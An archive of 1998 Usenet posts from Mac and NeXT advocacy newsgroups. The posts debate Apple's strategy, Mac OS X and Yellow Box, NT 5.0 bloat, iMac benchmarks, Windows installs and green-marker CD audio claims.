> >> command-key and a second away, you install it.
> >
> >That's what makes Webster a killer app. Services. If I'm composing
> >e-mail, or news, or browsing a web page, or whatever, and I want to find
> >out what a word means or if it's spelled right, I just double-click
> >on it to select it and then hit command-=. If Webster.app is already
> >launched (which it always is), this is more-or-less instantaneous.
> >This is SO CONVENIENT. I use it all the time!!
>
> Agreed. It's helluva lot better than having MS-Word underline the word
> with some wavy green line (which I disable) or force a change in spelling
> for you. Of course, on MS shit -- er, stuff, if you're not using MS-Word,
> you may not have a spell checker available for the app. Try doing a spell
> check from notepad or a telnet window.
> Webster.app is one of the best things NeXT has (had?). Porting the concept
> to Apple should be in the top priorities.
I'm glad to see that services have survived the move from OPENSTEP to Mac OS
X (at least, every screenshot I've seen has shown a Services menu on the top
menu bar). Once this exists, a great many of NeXTSTEP/OPENSTEP's benefits can
follow. I also use Webster.app heavily in this way, and hope that some savvy
developer will make the equivalent functionality available.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 14:08:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D87F93.9EDA49BF@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
<oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com> <35D46624.9BCFFA16@ericsson.com>
<TyaB1.62$7_3.312830@news.rdc1.sdca.home.com> <35D84EAF.78380DC3@ericsson.com> <CVYB1.36722$7_3.1645751@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
[deceptive quoting snipped]
> > Well, no, Rex. I couldn't care less, it has nothing to do with what I
> > said. Is this just deflection or was my refutation so stupid it wasn't
> > worth meeting head on?
>
> That the post says one thing and you expect something entirely different to
> be conveyed, is a weakness in communication. I framed the context of my post
> clearly with:
> Apple's technology foundation moving forward into the next Century.
It's actually very simple. You said Apple's technology foundation is
software/hardware integration. I said "that's ironic, their new product
line, which Steve Jobs says is the future of Apple, is the
non-expandable iMac". Your response was something about how obsessed I
am with expandability, which I found to be rather deflective.
Of course you'll say that you're thinking longer-term than the iMac's
scope. I don't need to spend much time pointing out that this is
unarguable. For one, Jobs' own comments regarding Apple's product line
at the last major trade show event were to separate it into four
categories along lines of portable/desktop and consumer/professional.
None of this indicates any kind of advanced hardware taking advantage of
"software/hardware integration".
For another, MacOS X has no support from Apple on any platform apart
from G3-or-higher Macintoshes. Forgetting the irony of a
"software/hardware integration" company not supporting its own
2-year-old machines, when are we going to start seeing some of this
advanced DriverKit stuff at work? It would seem that Intel-type hardware
would be the perfect expo for these capabilities.
I do not, in fact, think that this is either Apple's strength or its
future direction. Apple's future direction appears to be shrink-wrapped
hardware aimed at laser-focused market segments.
> We can go back 8 mos. in time, to look at iMac. Is that productive? You
> asked for someone to explain what you didn't understand. Then throw back " I
> couldn't care less" & " it has nothing to do with what I said", when an
> answer to your post is received.
>
> I don't have time to play whatever usenet game this is...
I trust I've cleared up the damage for you.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 14:12:35 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D880A3.989DB717@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> >NT has many features to recommend it over MacOS X. I don't
> >think the market at large will mistake this.
>
> Given that nowadays, bugs are redefined to be features, and
> given NT 5.0's 30+ million lines of code, I fully agree with you.
You've been posting all manner of NT hits for the past week or so,
mostly quoting from periodicals. Fine, I say, you're just quoting,
whatever the overall slant.
But now I expect you are familiar with the source code behind NT 5.0,
no? You are just making flippant remarks? Or you actually have intimate
knowledge of NT 5.0's stability?
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Aug 1998 01:38:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6raluk$1fs@news1.panix.com>
References: <6ra59i$dpc@newsb.netnews.att.com>
On 17 Aug 1998 20:54:10 GMT, gupta@kcopsrm.tm.tta.moc-mirror after
@ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
>http://www.winntmag.com/ -> Communities -> Windows NT 5.0 ->
>7/24/98 Code Bloat Frightens NT 5.0 Deployment Sites
>...The latest interim build of NT 5.0, build 1835, contains
> roughly five hundred megabytes, much of it being new code.
> .... A basic installation of NT Server 5.0 pegs the CPU at
> about 65%, and the working set alone is over 35 megabytes.
> And that is without any applications loaded".
NT5 is still a long way off. A long-long-long way off. I doubt that
it will ship with a 65% CPU idle. (On the NT5 demo I went to, there
was a 80% CPU heartbeat that hit every 45 to 60 seconds. After each
beat, the CPU would drop back down to 5% to 10%)
And how much of that 35mb is disk cache? Or IE4? Or IIS4?
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 01:40:25 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ram29$h83$1@lwnws01.ne.highway1.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com> <35D8C9AF.1E0B581B@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> I don't see how. Yellow Box is not being pushed at all, which
> makes it dangerous as a candidate for the axe. Besides, Apple
> isn't positioning itself for the enterprise *or* for cross-platform
> development, so I don't see the point of Yellow Box at all. Some
> nice class libraries and GUI elements? _Nobody cares_. Learn to
> use MFC, Visual Basic, and DirectX and you can write your own
> ticket.
Those tools you list suck maggot dung in comparison. Developers will care.
Cross platform to win for free is a great carrot. It may fail, but this
isn't yet clear. As a carrot, as potential, it is not only relevant, it's a
highly substantial and significant feature. Dismissing it with guess work is
fine, but that won't take it out of the equation; not until the axe hits the
block and the head rolls clean off and far away.
> > Second, the core OS os better, and will more happily house
> > things like unix.
>
> This is important inasmuch as it will stand in stark contrast
> with the current MacOS's complete inability to manage anything
> more complicated than, say, booting. Sometimes it has trouble
> with that much.
>
> And the presence of a BSD C Library is nice, agreed. But put it
> in perspective; with NT at least you have a command shell to work
> with. That's a volunteer install on a MacOS X box.
That is not a problem if it comes on the same cd. *IF* it's merely selecting
an option during the install process, then it's a non issue. It will be
there for those who want it. Now that's a big "if" and one that I have great
faith that apple can crap up. We'll watch their bumbling and time will tell.
> > Third, there are some other mac APIs that I believe are being
> > Yellowized (Quicktime), but regardless, are valuable to a niche
> > market.
>
> This is Apple's only cross-platform technology! And it's written
> natively for each platform.
I'm not saying it's cross platform. I don't believe it is until they
actually Yellowize it. If they dont, then it's merely what it is. And as
is, shlocky and all, it's functionally apparently quite loved by certain
sectors. And thus still remains a different feature that some will find
valuable.
> > Last, the UI.
>
> [mmmmppphhh]
You're preaching to the choir here. :)
-- Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit You're
dangerous because you're honest...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 01:38:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ralum$1fs@news1.panix.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com>
On 17 Aug 1998 20:01:09 GMT, gupta@kcopsrm.tm.tta.moc-mirror
after @ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
>Michael Peck <Michael.Peck@ericsson.com> wrote:
>>You've been posting all manner of NT hits for the past week or so,
>>mostly quoting from periodicals. Fine, I say, you're just quoting,
>>whatever the overall slant.
>>But now I expect you are familiar with the source code behind NT 5.0,
>>no? You are just making flippant remarks? Or you actually have intimate
>>knowledge of NT 5.0's stability?
>I'm posting with the same seriousness and knowledge (or lack thereof)
>as you have been about Apple's future, MacOS X, etc.
I've been to NT5 demos. I've talked to the ZAK and ADS crews. I've shared
drinks with the product managers. I exchanged "south-park" anecdotes with
the IIS and SQL server folks. I can assure you that MS and its employees
share the same concerns that Gupta has addressed. They know damn well that
NT5 is a very complex product, and it will take years to make it solid.
FWIW, they are planning to start posting bug fixes and service packs the
moment that NT5 ships; just like they did with NT4 and '98.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 02:27:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6raopr$23t@news1.panix.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com>
On Mon, 17 Aug 1998 18:06:53 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>hardware generation). But there's so much else they could be doing
>better, I don't know where to start. How about:
>* Open hardware specification with significant licensing program
No one is stopping you from building your own CHRP boards. Just
don't expect Apple to help you compete against them.
>* A plan for 3D
I agree.
>* An Intel version of this new operating system
MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
support, but if sales warrant it they will.
>* A publicly-stated vision for the future (does not include "wait until
>the WWDC")
It is standard practice for companies that aren't run buy idiots not
to announce anything until you are ready to profit from it.
>* A stock price that can sit still instead of fluctuating wildly
Huh? Apple stock has had steady growth all year with only a couple of
minor corrections. Please point out _any_ actively traded stock in _any_
industry that hasn't had at least one +/- 5% single day change in the
past 12 months. Have you been following the market at all this year?
>More ideas:
>* Get out of the hardware business
>* Get out of the operating system business
And sell iMac tee-shirts and mugs?
>* Ship Yellow Box for NT, Solaris, HP-UX, Irix, and AIX tomorrow
To run what? I have YB for NT. It makes no sense to ship it unless MacOSX
Server has shipped or WO4 has shipped.
As far as the other Unix versions, Apple should port to them if and only
if there is significant market demand. How many AIX desktop user _want_
to run YB apps? Why should Apple spend the time and money on porting to
HPUX when that time and money might go to improving QuickTime?
If you need to deploy to other platforms, build in WebObjects. Any
platform that can run NetScape can use it.
> Something else to earn back the $400 million spent on NeXT
Like the OS you think they should get out of the buisness of selling?
>Or possibly:
>* Admit that MacOS X will run on pre-G3 hardware and we made a big fat
>mistake
It will run on pre g3 systems. It is being written on pre-g3 systems.
This is a marketing move.
>* Admit that we aren't expecting to make much money on the iMac
Huh? Depending on who you believe, margins are between 20% and 30% on the
iMac. According to the local CompUSA I go to, between 10% and 25% of iMac
buyers are former Windows users.
>* Admit that we have no long-term plans and that very few vendors are
>expressing enthusiasm about MacOS X
No vendors besides Microsoft, Adobe et al?
>maybe some of these don't make sense to anyone else.
-------^^^^^^-------------------------^^^^^^^^^^^^^^
You can safely remove the hilighted words.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6r8ibp$g6h731@news.gomontana.com>
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Date: 18 Aug 1998 04:27:49 GMT
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Date: Tue, 18 Aug 1998 07:44:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1808980744040001@wil41.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com> <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net> <35CF8643.6E9@email.byu.edu>
In article <35CF8643.6E9@email.byu.edu>, Peter Ahlstrom
<pfa@email.byu.edu> wrote:
> George Graves wrote:
>
> > > >As I see it, Apple's (and the Mac's) best chance lies along the
> > > >following lines:
> > > >
> > > >1) Write a version of OSX which will not only run on Intel, but
> > > >will run native Windows apps as if they were Mac apps.
> >
> > They did it once, with a VERY small group. The Project was called
> > "Star Trek" and about a dozen programmers had it running in about
> > three months. I'd say, that it could be done with about the same
> > amount of effort as is now going into OS-X for PPC.
> >
> I'd like to hear an account of this!
> I think if Apple did this they'd be unstoppable. It's the logical step
> up from the rhaptel idea.
Actually, it was a technology demo.
They showed the OS running on Intel, although it's not clear how well it
ran. The problem is that all the apps would need to have been completely
rewritten.
In retrospect, it might have been worth the gamble. At the time, they
didn't think so.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 18 Aug 1998 08:11:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1808980811060001@wil41.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com> <joe.ragosta-1608981709310001@elk59.dol.net> <6ra197$chv$1@nnrp1.dejanews.com> <macghod-1708982246120001@sdn-ar-002casbarp233.dialsprint.net>
In article <macghod-1708982246120001@sdn-ar-002casbarp233.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6ra197$chv$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > So what?
> >
> > So using Bytemarks to support the claim that a system is faster than another
> > is absurd. It's like saying that a car is faster than another when you've
> > only checked the tires. Bytemarks doesn't test video speed, disk speed,
> > network speed, etc.
> >
> > > Macdhud called Jobs a liar for repeating Bytemarks results.
> >
> > Jobs extended the narrow scope of Bytemarks to make claims about system
> > performance. I think that it may be a lie by definition i.e. to utter
> > falsehood with an intention to deceive.
>
> Look, Joe is resorting to name calling :)
> I wonder, since byte gets its total by averaging the index of each test, I
> wonder what the int score would be if you excluded the bitfield test and
> then averaged?
Do it yourself. Byte publishes the individual test results. IIRC, it
doesn't change the result by very much.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 18 Aug 1998 07:52:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1808980752420001@wil41.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net>
In article <6ra5vg$b9h$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> [ ...green pen... ]
> >
> > But how could a green pen change the sampling rate?
>
> Not the sampling rate, but it might conceivably cause minor variants in the
> precise time between samples. For the sake of argument, let's _assume_ that
> this green pen does reduce the out-of-CD-edge reflections.
>
> If so, then the photoreceptor will not see reflections before or after the
> proper timing interval, and will be reading the bits more closely to the
> correct interval, rather than with some time errors known as jitter. A CD
> player (or transport) which does not appropriately reclock the data stream to
> remove will have audible artifacts from jitter.
>
> There is some room to believe that the earlier models of CD equipment didn't
> understand the crucial importance of timing, which is why green pens _may_,
> _hypothetically_, have made a difference years ago but no longer seem to have
> any effect with modern, well-designed players.
>
> Again, I have no opinion whether green pens actually make any difference
> since I've never tried it out myself nor have I seen the results from
> well-conducted experiments.
I also don't have any opinion, but I'm having trouble understanding your
explanation. Isn't the digital signal sent to the DAC at a fixed
frequency?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1ddyvqv.1c6dl051oso7z6N@dialup156-2-46.swipnet.se>
References: <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net> <6ra8ca$3l4$1@ec.arbat.com>
Organization: pv
Date: Tue, 18 Aug 1998 15:32:58 GMT
NNTP-Posting-Date: Tue, 18 Aug 1998 17:32:58 MET DST
Erik Corry <erik@arbat.com> wrote:
> Charles W. Swiger <chuck@codefab.com> wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >>> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >>> [ ...green pen... ]
> >>
> >> But how could a green pen change the sampling rate?
>
> > Not the sampling rate, but it might conceivably cause minor variants in the
> > precise time between samples. For the sake of argument, let's _assume_ that
> > this green pen does reduce the out-of-CD-edge reflections.
[...]
> Do the maths! [...].
Just guessing here. Delays directly due to the distance that light
travels seems unreasonably small. Perhaps the green thing (inexplicably)
causes a lower bit error rate. An error would need some nontrivial
computations (Reed Solomon code(?)) for error correction and that could
perhaps cause a short localized delay in the bitstream if the CD clock
isn't properly locked to the corrected stream.
(not particularly relevant to c.s.m/n.a, but seems to catch some
interest by others than me anyway. Plus the thread has turned into
something that contains very little Apple frustration for a change...;-)
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 13:14:02 GMT
Message-ID: <35df7da9.24901085@news.calweb.com>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com> <6qvvf4$cbg$1@nnrp1.dejanews.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Fri, 14 Aug 1998 00:13:24 GMT, quinlan@intergate.bc.ca wrote:
>
>This is an excellent example. If your device is identified as either a
>joystick or mouse, the device mill be handled using Apple's default mouse
>service routine. This routine only handles relative position movement and a
>single button but it still works.
>
That's nice... windows 95 and 98 do the same thing. It may detect a
modem as some generic thing. It'll work, but not as well as if you
tell it what your modem really is. Same with a graphics card, or
whatever.
I fail to be impressed by something that I see as normal.
Scott
.................................................
Please edit the email address to reply
hat the built in sound in a Mac
is better than a $1000 Sony stereo or whatever? We aren't talking
about boom boxes here.
Scott
.................................................
Please edit the email address to reply
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 13:11:09 GMT
Message-ID: <35de7c15.24497625@news.calweb.com>
References: <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <asiufy-1508980125020001@200.229.243.200>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Sat, 15 Aug 1998 01:24:57 -0300, asiufy@uol.com.br (Alexandre A.
S.) wrote:
>
> I apologize for using fowl language, but he should apologize for
>being ermm... inteligence impaired? :)
>
No, you're confused. I'm not you, I'm me. There, now... I know it's
shocking to realize just who's intelligence impaired, as you put it
(although you spelled it wrong even as you insulted *my*
intelligence).
> The fact that your Win95 hasn't failed with your hardware just
>shows you're a savvy user, that keeps your drivers updated, and, of
>course, you chose your hardware well, among the crap that prevails on the
>PC marketplace.
That is just pure and utter bullshit. I've done countless win95, NT,
and win98 installs, and I've never had one fail due to any hardware
problems. Give me a break. If you really think installing win95 or
98 is that difficult, you should not be using a computer. Good grief.
You boot up with a dos disk. You format the drive. You pop in the
cd. You run setup. You answer a few questions. Awhile later, you are
done. Ta da. Gosh, that was tough!!!
I just finished putting together my father-in-law's computer today,
and then I installed windows 98 for him. All my hardware was
detected, and I didn't need to update any drivers. Unless you are
using obscure hardware, you're not going to have problems. You don't
have to be THAT careful about it.
Scott
.................................................
Please edit the email address to reply
From: Chris.Burchard@studbox.uni-stuttgart.de.trash (Christoph Burchard)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 18 Aug 1998 16:34:12 GMT
Organization: Uni Stuttgart
Message-ID: <Chris.Burchard-1808981833090001@192.168.0.5>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au>
> Apple invented SCSI, ethernet and the GUI ? I guess Microsoft invented
> pre-emptive multitasking, context menus and the internet then :).
I don't think that Apple invented SCSI, ethernet and the GUI
Xerox invented the GUI, and Apple bought the rights.
And that's really for sure:
Microsoft did NOT invent the internet.
The internet was initially developed for military purposes and the
universities...
Chris
----------------------------------------------------------------------------
*** Remove ".trash" from the email address ***
On the Web:
http://wwwcip.rus.uni-stuttgart.de/~mas11422
http://home.pages.de/~ChrisB
----------------------------------------------------------------------------
MICROSOFT is not the answer...
MICROSOFT is the question...
...and the answer is NO!!!
Date: Tue, 18 Aug 1998 12:59:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1808981259110001@wil38.dol.net>
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1608980706240001@elk78.dol.net> <35d7388f.75797863@news.iafrica.com> <joe.ragosta-1608981737340001@elk59.dol.net> <35dd7b2d.24265211@news.calweb.com>
In article <35dd7b2d.24265211@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Sun, 16 Aug 1998 17:37:33 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >How many people have their PC hooked up to their stereo? Maybe I live a
> >sheltered life, but I don't know a single person.
> >
>
> You *DO* live a sheltered life. Then again, PC users don't typically
> limit themselves to the one or two built in choices that make others
> feel safe. Some people like to do fun stuff with their equipment.
OK. If my life is so sheltered, perhaps you can tell me what percentage of
PC users have their PC hooked up to their stereo. Based on my experience,
it's an insignificant percentage.
And an even smaller percentage has a stereo system good enough that the
Mac's built in audio would be the limiting factor.
>
> >Even if you can find some, you'd have to show that their stereo is capable
> >of doing better than the Mac's onboard sound before you have a point.
> >There are a lot of junky home stereo systems.
> >
>
> Surely you aren't trying to tell me that the built in sound in a Mac
> is better than a $1000 Sony stereo or whatever? We aren't talking
> about boom boxes here.
That clearly wasn't my intent.
What I meant was that the Mac puts out pretty good quality sound. For the
majority of sound systems out there, if you connect your Mac to the
stereo, the Mac will NOT be the limiting factor in how good the sound is.
The limiting factor will usually be the speakers.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 18 Aug 1998 15:10:17 GMT
Organization: Primenet (602)416-7000
Message-ID: <6rc5gp$gci$1@nnrp02.primenet.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com>
<slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On Mon, 17 Aug 1998 18:06:53 -0500, Michael Peck
: <Michael.Peck@ericsson.com> wrote:
: >* An Intel version of this new operating system
: MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
: support, but if sales warrant it they will.
